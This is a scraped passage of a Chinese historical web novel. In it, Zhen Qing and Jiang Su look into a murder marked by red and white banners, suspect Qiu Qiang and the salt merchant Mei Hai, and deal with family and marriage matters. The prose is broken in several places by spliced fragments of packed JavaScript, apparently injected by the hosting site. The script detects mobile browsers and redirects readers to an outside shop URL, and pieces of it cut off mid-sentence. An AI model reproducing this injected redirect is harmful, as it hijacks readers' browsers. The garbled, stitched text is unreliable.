0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13665363|144107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,便觉得那是王闻礼对她所做的下马威。所以,你说我该不该找你?” 王闻礼在死前曾今说过仇羌的武功高强,那么王闻礼必定在此之前和仇羌交手过,在那日发觉到仇羌的武功突飞猛进,就连他也难以抵挡。既然如此高强的本事,又何必屈居于枕清身边。 要么受人所托,要么就是枕清身上令他有利所图。 仇羌这是笃定他会为了枕清踏上这趟浑水,当然,仇羌也的确算对了。 江诉抬眼看去,将手中的事情都搁置下来,正色道:“把事情仔仔细细地说一遍,以及你和肆娘的第一次见面。” 仇羌眸色暗神,他知道自己在江诉这边被引起了怀疑,但这是迟早的事情,江诉和枕清都是聪明人,怎么会不知道他的心思。 帐篷内的人不多,除了江诉和牧青,便只剩下卷柏和仇羌,原本想走进来的张飞飞和邓跃觉得里间暗流的情绪古怪的厉害,转头就踏入旁的营地。 仇羌感知到外边离开的两人,看去一眼,才放心开口。 他的神态略有几分焦灼模样,声音却是平缓:“我和她第一次见,江长史不妨直接去问一问小娘子,何必来问我呢?我当下只说那晚之事。 “那日院内响起古怪诡异的声响,那道声音不似女声的娇艳欲滴,但也没有男子的浑厚,反倒有种雌雄莫辨的感觉。半夜之后,屋内的烛光突然被熄灭了,我察觉到诡异,便走出屋内,正巧北小娘也走了出来,我们看到一红一白的两个幡子相互打击,好像有灵魂一般飘飘然在院子内的四周转悠,我们警惕巡视,没有发现其余不对劲的地方。直到过了很久,空中突然跌下来一个死人,就是今日从湖面中捞出来的那具头颅。 “小娘子大抵是觉得难找到凶手,也避免打草惊蛇,让我把尸首从都护府中扔出去,明早叫人报官,我是想报官的,可是晚上的守夜人突然出来了,我怕他怀疑我,甚至来问我这具尸体的来处,就只能躲着,但是一转身就发现尸体从湖边的山坡上滚了下去,我便也就此作罢了。” 这番话说得并非是全无漏洞。 江诉冷静听完,下意识倒了一盏茶水,搁置在一旁,弯了弯唇瓣:“既然想掩人耳目,为何要把尸首带到湖边?你若真想早上被人发现报官,你大可以放在第二日有人必经的路上。况且你是江湖中人,难道没有一种药能将尸身化成水,连毛发都不剩?像你这样的人,一定知道怎么能让自己后顾无忧。” 仇羌面对江诉的怀疑和质问,不予明确作答,他笑容颇为古怪,甚至有鱼死网破的意思:“哦?那么江长史这是在怪我留下了把柄?我应该在那夜用这种特制药水把尸体给消磨得一干二净,是吗?真可惜,我真的没有这种东西。” 这分明是对仇羌的行径有所怀疑,可是仇羌非但没有回答,而是反咬了一口江诉,说江诉讲这番话的意图是责怪他没有消灭证据。 仇羌缓缓走至江诉的桌案前,伸手拿上江诉方才沏好的那杯茶水,一饮而尽。 卷柏目光在两人身上流转,脚步却退至牧青身后,牧青扫了一眼卷柏的动作,不由握紧身旁的剑柄,指节微微泛白。 江诉留意到他们的动作,只是轻轻微笑,仿若他不在其中,暗流涌动也与他无关。 这件事需要解释,不过更多是要查清楚事情的始末和来路,既然已经被发现,枕清也被卷进来了,那么不得不被迫接受。 江诉缓缓道:“有没有你心里最为清楚,既然已经被发现了,那就如实禀告那日的事情,既然没有做的事情,那刀剑的利刃怎么也不会落在我们头上。” 仇羌心有疑虑,却也觉得这样做也是合情合理,他重重放下杯子,朗声应道:“好,那我现在就去。” 72. 鸟宿枝头水影空(七) 待人掀开帘子,出了帐篷,卷柏和牧青相互对视一眼,这件事他们听得明白,却也不知道仇羌究竟怀着怎么样的心思。 明明,明明之前还是好好的。 他们又不是傻子,自然能听得出来江诉对仇羌的行径有所怀疑,而仇羌也不是蠢笨的人,怎么可能会在这时候才发现,并且不早在之前就告诉枕清。 这一切都来得太巧妙,在枕清成婚的后一日立马就被发现,好像专门等着这一日,才故意露出马脚。 就是不知道这件事要把多少人给拉下马。 与此同时的另一边。 枕清听到仇羌去衙门的事情,神色如常,并没有感觉到意外,或者是多余的情绪,可以称之为平淡。 卷柏看到的时候,就是这样的模样,她说完今日的一切,见枕清没有回应,忍不住又悄悄为仇羌辩解道:“其实,这件事可能是有误会,仇羌或许是真的不知道,不然他又怎么敢这么坦然地去见官府里的人。” 枕清看着卷柏这般小心翼翼地模样,唇边不自觉地弯起一抹笑意,她打趣道:“你知道你现在这样像什么吗?” 卷柏原本觉得枕清兴致不高,见她愿意同自己说话,当即鼓起了兴致,瞪着大大的眼睛,瞳孔内充满了兴奋和疑惑,摇头的脑袋好似拨浪鼓。 被这样一双清澈透亮的目光注视着,枕清心情稍稍愉悦,她慢慢说:“活像是拿了他的钱。” “我可没有被收买!”卷柏当即反驳道,“他那么穷,这么可能有钱收买我,我就是觉得他这人有时候挺好的,也不像是那种人。” “哪种人?” “坏人......” 枕清听出来卷柏说出这话没底气,她当即呵了一声,挑眉问:“你看得出来谁是好人,谁又是坏人吗?好坏的定义你又是如何分辨的?坏人的脸上会写着我就是坏人吗,嗯?” 这一套连续的反问,不禁让卷柏哑然,她的双眼瞪得圆圆的,随后张了张口,吞吞吐吐道:“我虽然不能第一眼就能分辨得出来,但是相处久了,心里不也知道了吗?好坏虽是有区分,可是我这人的心很小很小,小到我只会觉得对我好的人,他是好人,对我不好的人,即使全天下都说他是好人,那在我心中,他依旧是个坏人。 “而不是他做了多少错的事情,杀了多少人,我就觉得他是坏人。我知道我这样的想法不对,不然古人也不会有‘大义灭亲’这一词,可是北姐姐,我真的舍不得他,我怕你们都不信他,都要舍弃他。” 虽然卷柏和仇羌看似吵得厉害,可是心里的那份感情始终是没有动辄的,两人相处了许多个日夜,都已经把彼此当作了家人。 枕清深深叹了一口气,她道:“卷柏,你需要明白,很多事情不是如你所想的这样就可以了,如果一件事情得不到真正的公允,那么这个国家就会失去百姓对它的信用,便会发展成所有人不愿意被其约束,所有人都觉得伤害这件事没有任何成本,那么这个世界就会变得混乱,毫无秩序,到时候会有尸横遍野的惨状,抑或是更糟糕的模样。 “你说你的心很小很小,可是也只有包容了很小很小的东西,才会缓缓凝聚成大的。 “而且我从来没有说过要舍弃仇羌,或者将这个罪名压在他身上。现如今,才刚开始有点东西浮出水面,你又何必在我面前这般担忧,如果真的是他所为,那么他身边的我也难辞其咎。小卷柏,别担忧。” 说了长长的一大段话,枕清见卷柏眼中的泪花被逐渐淹没,她伸出手拍了拍她的脑袋,很轻很轻,好似在碰一件极其珍重的物件。 卷柏扑进枕清的怀抱里,她什么也没说,只是喊着一声又一声:“北姐姐。” 是夜,枕清并没有回房间休息,而是坐在一处安静的偏院,那里有亭子,有秋千,还有盛开的梅花。 她坐在门口的石阶上,抬头望了望月色。 如果说早在之前仇羌是为了治好脸上的伤疤和钱才留在她身边,可是为什么在这些都已经得到之后,当她再次问起来的时候,他答会应陪自己来陇右,这和原本的初心并不一致。 枕清自然没有自信到觉得自己身上有什么能吸引住仇羌,她又不是银子,能招得人人都喜欢,更不妄想有人能像江诉那样对她毫无保留,心甘情愿。 况且他们两第一次见面确实是冲着对方的半条命去的,既然能在短时间内改变,除非有什么东西在推动,从而改变了他心中的想法。 她金蝉脱壳这件事知道的人寥寥无几,除了禹王和为她治伤的百草堂老者,几乎再无旁人得知,就连江诉,她也只是对其点到为止。 但她来庭州的这一路上,不仅仅王闻礼知道,且在路上想要杀她的徐瀚看到她的面容都没有感知到半点惊奇和意外,那样的神情和目光,是一早就知道的模样。 禹王和老者她是信的,如果他们没有瞒住,那么早在长安城内就已经把她的身份传遍了,因此真要引起怀疑,只有仇羌一人。 所以去往庭州的路上,她把身份告诉卷柏,倒不是因为真的有多信任卷柏,而是她的身份从一开始,就已经没被瞒住,她也没完全地信任仇羌。 现下就连一点边都没摸清楚的梅海,都能知道她的身份。 世界上没有天衣无缝,更没有不透风的墙,所以她这个身份,迟早会被更多所知道。 明明是已经知道的事情,可为什么她还是会那么地伤心呢? 风声一动,她听到梅花枝头簌簌声响,正想抬头望去,却见江诉站在她身前。 高大又挺拔,在皎皎月光下,更显清润。 他伸出手,枕清愣怔片刻,从袖中探出手覆在他的手掌中,下一瞬,枕清感受到手指传来被紧握的力度,再下一瞬,她被江诉拉入他温暖的怀中。 江诉嗓音低沉温和:“天这么冷,地那么寒,你坐在这里,受得住?” 枕清这才发觉自己全身上下都是冷的,唯一的热源只有江诉的怀抱之中,而她像是在汲取他的温度。 “还好,也不是很冷,我穿得厚。”枕清裹紧自己的衣袍道。 江诉感知身前的人从自己怀中退开,于是得空的手从树梢上接过一朵梅,轻轻捻在手中,慢道:“你倒是和从前一样,一有心事就喜欢找一处安静的位置坐着,只是今夜风大,回屋吧,莫要染上风寒。” 枕清的目光留意在那支梅花上,轻轻笑道:“好。” 这一路上,她走在前面,江诉跟在后面,两人心照不宣地没提起今日的事情,这件事闷在枕清心中难受,可是她也不想说,又不知道江诉会不会介怀如此模样的她。 苦恼加上苦恼。 江诉道:“肆娘,我们是成亲了吧。” 枕清茫然地啊了一声,后知后觉道:“是啊。” 江诉脚步放缓,轻声“嗯”道。 枕清几乎在这一刹那,就明白江诉的意思,没待她开口,只见江诉忽地停下步子,而她也随之停下。 两人站在廊庑下,廊檐叮叮当当的铃声响起,好似清澈的山泉,也有夺命般的凛冽。 江诉缓缓走前,掰过她的肩膀,眸色含着浓烈的认真,他启唇说:“既然是最亲近的人,你可以不必一个人强撑着,今后无论是喜怒还是哀乐,你都可以与我说,我陪你。” 枕清望着他那张极其隽秀的面庞,眸色一如既往的淡然,可又像是有一股情绪在涌动翻腾,令她思绪完全被打乱,也无法平静下来。 彼时的他们距离极近,枕清嗅到江诉的清冽的气息,伴随 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枕清并不害怕,她讲清楚了始末缘由,并没有看到符生枝脸上有任何多余的表情,好像他也陷入了茫然的沉思,甚至比她更为凝重。 薄映禾在后堂听着这件事,心中有一件多年未解的谜团逐渐抚开了一抹水花,甚至溅得他们一身,久久不能释怀。 七年前,符生枝的耶娘突然暴毙,床边也是有红白两幡子垂挂飘浮着,死相相当惨烈,身子与头颅分开,身为独子的符生枝见到如此场景,并没有崩溃大哭,而是保留现场原状,下令要彻查到真凶。 雷厉风行地盘问了出入府中的每个人,在死者身上找寻指纹的痕迹,却一无所获,好似就是突然暴毙而亡,而这幡子也来得诡异,甚至有人传谣说这是阎王爷的黑白无常觉得符家阳寿已尽,于是把人给带走了。 坊间隐隐有传言流出,说符家做尽坏事,才落得如此下场。 所有人都在看符家的笑话,所有人都觉得符家早该倒台,退出陇右这个地方。 可符生枝不信!不服! 什么狗屁的阳寿已尽!什么坏事做尽! 他偏要查出这件事的幕后之主,查出到底是谁要搞符家,可是到了最后,几乎把整个庭州都翻遍了,只搜出府中的阍媪屋子的床榻底下藏着红白两幡子。 那老媪被发现了,惊慌不已,哭哭啼啼地说自己想着家中死去的小孩,于是囤着,待到明年清明时节带到孩子的坟墓前,好好祭奠一下。 这番说辞奇怪却也不奇怪,可惜遇到那时候的符生枝,有一点线索必然是咬死不放,符生枝打算继续在这老媪身上严查,可是这老媪居然在第二日就死了。 检查尸首的时候,说是吃了鹤顶红自杀了。 这件事也便告了一段落。没有人查不出来这件事究竟是怎么回事。 时隔七年,同样的手段和手法,又激起符生枝的回忆,他面露痛苦与恨意,深深地望向薄映禾。 这里只有薄映禾一人才能懂他所有的心绪,懂得他难受,懂得这事情的始末。 薄映禾被符生枝那双猩红的眼睛刺痛,她缓缓呼了一口气,不徐不缓地走前,她知道这几年来,符生枝一直都没放下,但事情太多,便只是被迫放下。 符生枝缓过劲来。 七年前的枕清年岁尚小,而且还远在雷州,自然不可能是枕清所作的。 符生枝心里明白,但是碍于礼法,还是把人监查了起来,但也没让人待在阴暗的地牢里,而是让人能回家就回家,不过没在事情水落石出前,没人能出的了城。 符生枝没有枕清心中想的那么坏,要借此机会好好磨一磨她,或者把她关入黑漆漆的地牢之中。 73. 鸟宿枝头水影空(八) 最后,她跟着薄映禾走了。 当年的事情,薄映禾虽然并没有看到,但据符生枝的描述和推断,她也比旁人更加了解此案。 现如今那人又用那样的手段,符生枝一定不会放过他们。 他们向枕清问清细节的时候,枕清直接道:“那几日,晚上都会有一道很奇怪的声音,空灵又诡异,嗓音雌雄莫辨,不过等人出去了,那道声音便会停歇,红白幡子飘动着,好似是被操控着舞动,而我们的视线便被东西所吸引和阻挡。” 和仇羌所描述的细节无差,把两人落寞的神情尽收眼底。 枕清神色稍暗,她略有疲态地朝后仰躺,缓缓道:“再多的信息怕是只有仇羌知道。” 这件事了解最多的人就是仇羌,包括那具尸体。 倘若仇羌真的知道什么却不愿意说,估计逼问不出来,突破口便又是在枕清这里。 “你这么聪明,我不相信你多余的一点线索都没有。”符生枝姿态变得急迫,没有往日的从容不怕,可他依旧在强作镇定。 枕清定定地看着符生枝憔悴的姿容,身旁有薄映禾轻轻安抚着,她轻嗤一声,自己心在还在难过,也没人抚慰一下她。 她缓缓闭上双眸,淡淡从喉中哼出一道声音,说:“线索都已经告诉你了,究竟怎么去查,这是你的事情,我又不是什么判官。” “枕清。”薄映禾这声唤得很轻,含着无奈,以及微不可察的警告。 得了。这件事是符生枝的命门了。 她听到薄映禾的声音,扯了扯嘴角,缓缓坐直身子,这才正色道:“是,我的确知道。” 符生枝一声不吭地看着枕清,枕清被这样的目光盯着并没有觉得有什么不自在,不过她确实不想说,于是看向一旁的屏风、烛火,就连外面晴朗的天色都探了个遍。 在这期间,屋内安静到连气息都是明显的。 符生枝知道自己再急迫,却也不能逼着枕清,因为他一旦逼着或者让枕清察觉到任何不舒服的地方,那么枕清一定会选择闭口不谈。 况且这件事,枕清似乎不愿意去提起来,甚至有隐藏的意思。 被这样的两双目光注视,枕清即使内心再强大,却也会有不自在的地方。 良久后,她先说了一句话:“我需要你答应我一件事。” “无论是不是他做的,他的命都归我。”枕清道。 这股野蛮霸道劲和从前的符生枝相似,如果是以前的符生枝一定会勃然大怒,觉得你凭什么与我谈条件,可现在的他,很有容量地说:“我答应你。” 枕清慢条斯理道:“这件事我猜测是仇羌做的。他的武功高强,就连王闻礼都不是对手,都护府高手如云,旁人不可能能悄无声息地进入都护府,即使再熟悉,再有通天的本领,也绝不可能将尸体搬进都护府内,堂而皇之地掉在我眼前。 “来之前,我曾说过我喜清净,你们为了按照我的喜好,看守我这处院子的人虽说少之又少,这些动静旁人不知道也属实正常。可是那雌雄莫辨的声音,我很早就听过了,是我第一次见到仇羌的时候,他便是对我用过这种腔调。而这声音,是江湖上专门训练而成的。” 符生枝手中握紧,脸颊上的肉微微颤抖,声音压抑道:“是,我耶娘死之前,他们也听到了这种声音!” 这件事逐渐浮现冰山一角,薄映禾微微抬起下颚,竟不知道枕清的心思如此之深沉,压根不是一位才过及笄礼的女娘所能展现出来的。 而且分析得头头是道,问题出现之时亦能沉着冷静得面对,她在枕清这个年纪的时候还在大江南北的晃荡,也绝没有她这般缜密。 难怪方才符生枝说枕清是知道的,的确,她是知道的,只是她不愿意说。 枕清知道自己这一番话说出来,仇羌在陇右定是九死一生,可其中透着难说的古怪。仇羌又为何要自投罗网,是觉得她真的没有察觉到任何一点,还是说这件事本就不是他做的,而是想要把这一切都引在自己身上,所以才露出这么多马脚,包庇那所谓的背后之人。 可是这件事如果没有被发现,仇羌除之而后快,便也没有那么多问题。 “但我觉得他有同党,即使不是同党,起码是他认识的人,他在帮那个人。”枕清站起身道,“那具尸体是在他和我面前扔下的,可以分析说上面有东西牵引着,到了一定时间被扔了下来,可是那具尸首除了脖子与眼睛上的痕迹再无旁的。” 枕清分析完,又道:“你们问清楚那具尸体的身份了吗?”! 薄映禾沉思道:“查清楚了,是柳家最后一位女娘。” 枕清心中警惕大作,她当即用手抵在桌案旁边,危险地眯起眼睛,冷声道:“柳家?柳长鸣的柳家?” 薄映禾知道枕清因何反常,她面色难看地点头。 枕清冷笑,不知是讥讽还是可怜:“难怪消失这么多日,没有一人出来报官说家中的人走丢了,原来是只剩下她一个人了。” 同样的方式,同样和枕家有关的人。 枕清在脑海中突然想起来了一个人——梅海。 她心中不禁震惊,又好像能将一点点东西串连起来。 这位梅海虽是盐商出名,可是他还曾经养过许多男妓,倒也不是他爱好如此,而是想要把人训练成不一样,他曾说过既然有女妓,男的自然也成,那些男人也会唱歌听曲子,会卖弄风情。 嗓音柔情似水,也曾听说过将那些人安排成犀利的杀手。 而且梅海知道她和薄映禾的身份。 枕清突然觉得自己心有些难受,她当即用手撑在桌子上,缓缓坐下去,深深呼吸道:“七年前,梅海是不是来过陇右?” 薄映禾心间一跳,或许符生枝不知道,但是她曾经看过。 这件事既然和他有关,那是不是因为看到她在符生枝在身边,才没进行下一步动作,一直安安稳稳到今日。 “梅海?”符生枝一下子没跳转得那么快,双眸茫然,先知后觉,眸色愈发幽深,“查!这七年间,把仇羌、梅海挨个查一遍!” 枕清心中堵着一口郁结的气息,她不稳的身形让她重新坐在位上,她又缓缓站起身,转身去往了仇羌那边的方向,甚至带着痛恨与无措。 枕清去见仇羌的时候,仇羌对此早已经有所预料。 他甚至替枕清倒了一盏茶水,没有明确地点名自己的身份,而是笑着说:“是知道了,还是不知道。” 枕清目光落在那杯澄静的杯面,心里压抑憋愤。 她紧紧握住茶杯,指节因用力而泛白,仇羌神色微动,察觉到今日的枕清是隐忍到了极点,所以在枕清冷笑将温热的茶水泼在自己的面庞,却没有躲避。 枕清讥讽道:“当然是不知道了,如果能事事都知道,我还来这里找你干什么?” 她之前还在想,有符生枝压着,上一世的王闻礼为何能当上陇右的大都督,现如今她可是想明白了,是因为上一世一定有人和王闻礼联手对付符家,现在就是破了一个口子。 看似是对她的警醒,更多是来威胁符生枝。 仇羌冷静地抬袖擦了擦满水的脸,后抬起面容,眼睛带着促狭地笑意,问:“那枕小娘子现在想通到哪一步了,我好为小娘子解答。” 旁的没学会,反倒把她这一通阴阳怪气和无所畏惧学了个精光,甚至死在临头还能这么地怡然自得。 枕清轻轻放下杯子,倒也不理会,她随处找了个位置坐下,平缓道:“我想了很多,那就一件件刨析开来,如何?” 仇羌眉眼弯起来,终于显露出如同女娘般漂亮魅惑的眼神,他娇俏道:“好说。” 如果让军营里的那些男人看到了,要么心起别样的心思,要么就是起一身鸡皮疙瘩,可是枕清连眼皮都没跳动一下。 枕清笃定道:“你也重活了一次。” “也?”仇羌突然笑出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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枕清眉头微蹙,后展开笑颜道:“杀了你?太便宜你了,仇羌,你明明知道我想听的不是这个。” 仇羌煞有介事地摇头,他从喉咙闷出咳嗽声,压下难以克制的气息,轻轻道:“贵主太聪敏了,而我又太愚笨,我不知道你想听什么,说活着你又不乐意,说死了你又觉得不行,果真是难伺候。” “既然你不想说,那我就一件件地剖析给你听。”枕清见他面颊逐渐苍白,心中忽然升起一股不安来,她还没开口,就见仇羌知她所想般道:“我没事,就是这几日练武累着了,所以面色才显得苍白了些,况且我本来就生得白,你在担忧我在你面前死了吗?” 说完,仇羌甚至还对她露出一抹笑,那笑容是得逞,是骄傲,也是苦涩,亦是试探。 这份试探带着他自己都不确定的东西。 这些日子一路走来,要说没有感情,那一定是假的。可是本就怀揣着目的,若要说是完全真,倒也不见得。 枕清看了他一眼,当即收回目光,神情带着几不可察的放松,声音却含愠怒:“你死了就死了,关我什么事,你以为你死了我就会伤心吗?你最好现在就死,还往下查什么?反正一切事情都能推给你一个人!” 仇羌忽地咳嗽,他冷哼一声:“真是可惜了,不能随你的愿了。我还能好好活着呢。” “那的确真是有些可惜了。”枕清的手懒洋洋地搭在椅子的一端,“上一世符生枝的死,是不是与你有关?就算不是你,你也一定知道是谁的手笔。而且你和王闻礼的关系貌似不错,在我及笄礼那日,那么慌乱,你什么都不拿,独独捡起王闻礼送我的匕首。不过这件事并不是王闻礼......” 仇羌并没有回答,他只是静静地听着,枕清也不打算拐弯抹角,她气定神闲地挑眉道:“是梅海么?” 仇羌脸色顿时没有半点笑意,甚至笑容就凝滞在脸上,他目光变得幽深,如同一道利刃的银光,枕清知道自己这话说对了,她对于他的目光仿若未觉。 在枕清面露微笑时,仇羌面色逐渐变得难看,随后跟着笑了起来,站在屋外听着里边动静的卷柏和牧青忽然觉得脊背生寒,这两人怎么会谈得这般奇怪。江诉一直站在门外,没有走进去的打算,但也没离开的意思。 枕清忽地站起身,神情似蛊似魅,幻似恶鬼又像妖精:“你究竟是想害他,还是想帮他?” 74. 霜尽残潮荡月回(一) 据说梅海此人是经营河东盐池的盐而发财,数十年间,便成为富甲天下的巨贾,甚至有聚财有道,乐善好施的美名。登记在册的河东盐商就有三百多家。 上一世的枕清曾去过河东盐池,河东盐池南部有一条山脉,层峦叠嶂,逶迤起伏,十分壮观。 这条山脉由东向西,坐落各个大小不一的村落。若是从东往西,能看到大启的太平兴国寺塔和运城。 河东盐池对于大启至关重要,检察院、运学都转运到盐使司等盐务衙署。整个布局星罗棋布,浩如烟海,每一处都巧夺天工,错落有致之感。 姚渠从城北蜿蜒穿过,渠边草木茂盛,池东是鸭子池,而池西有盐池,滩南是古老的解州城。环池有禁墙围绕,禁垣内的百里盐滩上,便是出产最多的地方,被称作为黑河,位于盐池之中。 张宣晟也曾在盐池这个地方视察过,倒也不是因为其他,而是这处盐利收入占大启赋税收入的一半,而运盐池的盐利收入占大启全年盐利收入的四分之一。 所以此地是财政支柱的中心,自然也受到高度重视,甚至为了维护运城盐池生产的安全和丰硕的赋税,甚至在运城盐池一周修筑了“壕篱”,将其全部围起来。 这些地形应钰也只是一知半解,她听到枕清如此描述,心中已有定夺,顺便说了自己的见解与看法:“有人说梅海是经营河东池盐而出名发财,可最开始的时候,梅海并非是做这个开始的,而是先养起牲畜,而那些牲畜驮运一些盐池,再后来连同牲畜一起卖掉,才有最开始积累的资本。 “可是运城本就多山林川泽,那地虽说是官府管控,但官府并不直接经办,而是抽出一些民税,让百姓去经营,可是能有这般钱财经营的人,定然不是普通百姓,便只能是有钱有权的富豪! “而在此时,既有钱又发觉河东盐池背后利益颇丰的梅海,自然会着意开发河东池盐,自此走上了这条路,不断地扩大与发展,但他远远不止走这条路,其中不凡有其他的产业,便不一一细数。” 江诉和盛松言默默对视,两人都不曾言语,倒也不是他们不想开口,而是他们对此事了解不深,自然不像枕清和应钰这般透彻。若是讲一讲兵法和朝中局势,他们或许还能搭上一嘴。 枕清气定神闲道:“分析了这么多,那你的意思是,梅海回河东去了?” 应钰点点头道:“大概是吧,毕竟我们也只能从那边去找他的行踪,况且我也想去那边看一看盐池,打算过两日出发!” 一旁的盛松言忽然有些坐不住了,正欲起身,枕清忽道:“我与你一同去!” 盛松言急道:“不可!” 枕清和应钰相互对视一眼,回头看向着急的盛松言,心中虽有想法,却也没直截了当地表明出来,反倒是面露不解道:“为何?” “江长史与北小娘正值新婚燕尔,哪有一来就把人拐跑的道理?”盛松言拉过应钰的手,小声说道,“况且,你不是说过这次过后,你要陪我回洛阳去么?” 这话说得小心翼翼,好似生怕惹得应钰不快。 枕清不由看向江诉,江诉面容平静,可眼中的眸色逐渐变得黯淡,好似全身耷拉了下来,出卖了他强作镇定的平静。 这般模样,枕清心中不免有些心虚,方才那话说得着实是有点快了,毕竟他和江诉才成亲,还没过上什么浓情蜜意的时刻,就又要分离,倒有些显得她不近人情了。 见此情此景,只好稍后再探讨一番,枕清又瞧了眼应钰和盛松言恋恋不舍的样子,好似他们才是一对新婚璧人,她当即便拉过江诉的手腕,迈开步子走了出去。 江诉依着枕清的动作而动,问她:“你当真要过两日就走?” 枕清没底气,小心思忖道:“还没完全考虑好。” 江诉又问:“是因为仇羌那件事么?” 枕清思考道:“不也全是。” 话音正落,她抬眼就望见朝她这处走来的商震和齐离弦,不由松开握住江诉的手,江诉凝视身旁的枕清,枕清满心满眼都是商震来了,没有留意江诉的目光,可那样的视线实在太浓烈,也太炽热,仿佛能在下一刻就灼烧了她。 枕清双眸望着逐渐走近的商震,脚步却靠向江诉,与他十指紧扣。 商震体态健硕,面色红润,看来是这段日子把自己将养得极好,也没有什么烦心事所困扰,而身旁的齐离弦扎了一个高马尾,身形劲瘦干练,仿若下一刻就能游走天涯,又像是当场能上阵杀敌的女将。 不过这两人的关系,看似还不错。 枕清歪了歪脑袋笑道:“师傅!许久不见,没有我的烦忧,看起来神清气爽的,是不是每日都开心得不行?” 商震眸光转下,瞥向枕清与江诉亲密熟稔的动作,哼了一声,声如洪钟:“没有你这小丫头骗子来气我,自然是极好的,可就有时候挺无趣的,那院子里的荔枝树都没人吃了,烂得一干二净喽。” 枕清眨了眨眼,却没有继续说话。 商震倒是从禹王那处知道了许多事情,也知道枕清这身子骨被折磨得大不如前。 他不免有些担忧,却又无可奈何,最后叹了一口气道:“很多事情并不需要你如此糟践自己的身体,好好说一说,谋划一下,装个样子就成了,你啊,就喜欢和自个儿较真!早知道会如此,小时候也不对你手下留情了。” 枕清别有深意地嚯了一声:“师傅果真是对我手下留情了?我觉得您打小就对我和惊玉从未手下留情过,我们哪次没有被您打趴下过,哪次是身上不是一块青一块紫的,若非阿耶拦着,我们怕是活不到这时候吧?” 最后语句微微上调,满是揶揄,反倒是把商震气得想骂她,可是看看江诉,又瞧瞧齐离弦,硬生生忍住了。 但枕清没有放过他的意思,觉得他这般能忍得下来,倒也真是稀奇,她笑道:“师傅在旁人面前,倒是温和了不少,还能压得下气了。” 商震这时是真的忍受不了,他气得胡子都要被吹起来,拿下自己身旁的利器,想要往枕清身上招呼过去,枕清当即躲在江诉身后,江诉眉梢隐隐察觉到不安,他下意识护住枕清,硬生生挨了商震的这一份打。 虽说是收敛了力气,但落在身上依旧是十足十的肉疼。 幸好没落在枕清身上,江诉这般想着,把人往身后护得更紧一些。 商震知道自己打错人了,心中有些没底气,他囔道:“你站在他身后作甚?出来!” “不站在他身后,那我岂不是要被你打了?”枕清从江诉身后探出半个脑袋,一副小孩模样,没有旁人所见那般沉稳干练。 她掀开江诉手腕,便见到深红色的痕迹,啧啧两声,叹道:“师傅,你这要是打在我身上,我被救 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13665366|144107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回来的半条命岂不是又没了,旁人都说刀剑无眼,怕是您的利器也是见人就挥。” 枕清话锋一转,转头看向江诉,笑眯眯道:“没事,挨了师傅的打,长大长得快!” 江诉也跟着笑:“好,多谢师傅。” 商震被讲得脸一阵青一阵红,他突然有些不好意思面对江诉,却又见江诉极其爱护枕清的模样,便也放下了心中焦躁不安,反而责怪江诉道:“你这也太细皮嫩肉了,不是我下手太重。” 到这般程度,还要为自己辩解,枕清勾唇道:“是说喽,我家郎君平白无故挨了打,被打红了还要说人家细皮嫩肉,是啊,我家郎君着实是......太娇嫩了些。” 江诉温柔笑道:“肆娘说得是。” 一个愿打一个愿挨。 枕清和商震老老实实地叙了叙旧,最后喝了好几壶酒水,商震又开始说起了平西北的陈年往事,这里除了江诉没听过,旁人都已经到了听着起茧子的程度。 听了半会,只见商震目光沉沉地盯着江诉,似有些不耐烦地砸吧了一些,正想要开口挑点毛病出来。 枕清眼疾手快地拉过江诉递过酒水的手腕,笑朝商震道:“他手中还有伤,师傅慢喝,我们就先走了。” 这样拔腿就跑的情形,江诉经历的少,枕清却是轻车熟路。 回到屋内,枕清先是找了涂抹伤口的药膏,叫江诉把手伸出来。江诉说:“其实这只是看起来严重,倒也没那么疼,涂不涂都可以。” 枕清认真地把东西敷上,开口道:“我师傅是个什么样的人,我自然清楚,下手没个轻重。” “所以你是故意说话激怒他,然后在他要动手的时候躲我身后,而我又不会去躲避他老人家,那动作自然而然地便落在我身上了。”江诉笑了笑,知道答案后并没有心生怨怼,而是知道枕清更深的想法。 “你怕他会刁难我,所以故意让他出了差错,从而落了在我这处落落下风,那么他想要刁难质疑我的时候,只需要你把我的伤疤微微一抬,抑或是找这个借口溜之大吉,是么?” 枕清轻轻哼了一口气,挑眉道:“我可从来没有这么说过,这都是你所想的,江诉,你这番话要是落进我师傅的耳朵里,我难逃一劫啊。” 江诉笑笑,声音微哑:“没事,我给你挡着。以后落在你身上的伤,都先落在我身上。” “你的伤还不够多么?”枕清凝望他,“江诉,我不想你再受伤了,虽然这次是我故意的,但是这个伤不会留疤,因为我小时候也挨得多,可是它会痛。我不希望你痛。” 江诉道:“好,希望我们日后无伤无痛。” 无伤无痛。 枕清微微失了神,她唇瓣微微勾起,在江诉的唇瓣落下了一个青涩又深沉的吻。她并没有张口,只是贴着,她害怕满身的苦味惹得他一身。 江诉想要更深的进入,可枕清先是退离了他的动作,随后说:“我需要再见一次仇羌,也需要再见一次梅海,并非是我有意要离开你,而是不明白事情的真伪始末,我不放心。我怀疑枕家、符家以及上一世的事情,都与这位梅海有关。可目前唯一知道的人,只有仇羌。” 江诉从来不去阻碍或是拒绝枕清,“你若想去,那便去,我会等你。” 枕清拱手道:“多谢。” 江诉轻笑:“不用谢我。” 75. 霜尽残潮荡月回(二) 她和江诉已成定局,渭州刺史的女娘与江诉成婚传遍了陇右各个地方,就连长安都能得一两风声。 既然目的已成,符生枝自然要开始他先前的打算和谋划,这第一件事就是让江诉取代渭州刺史的职位。 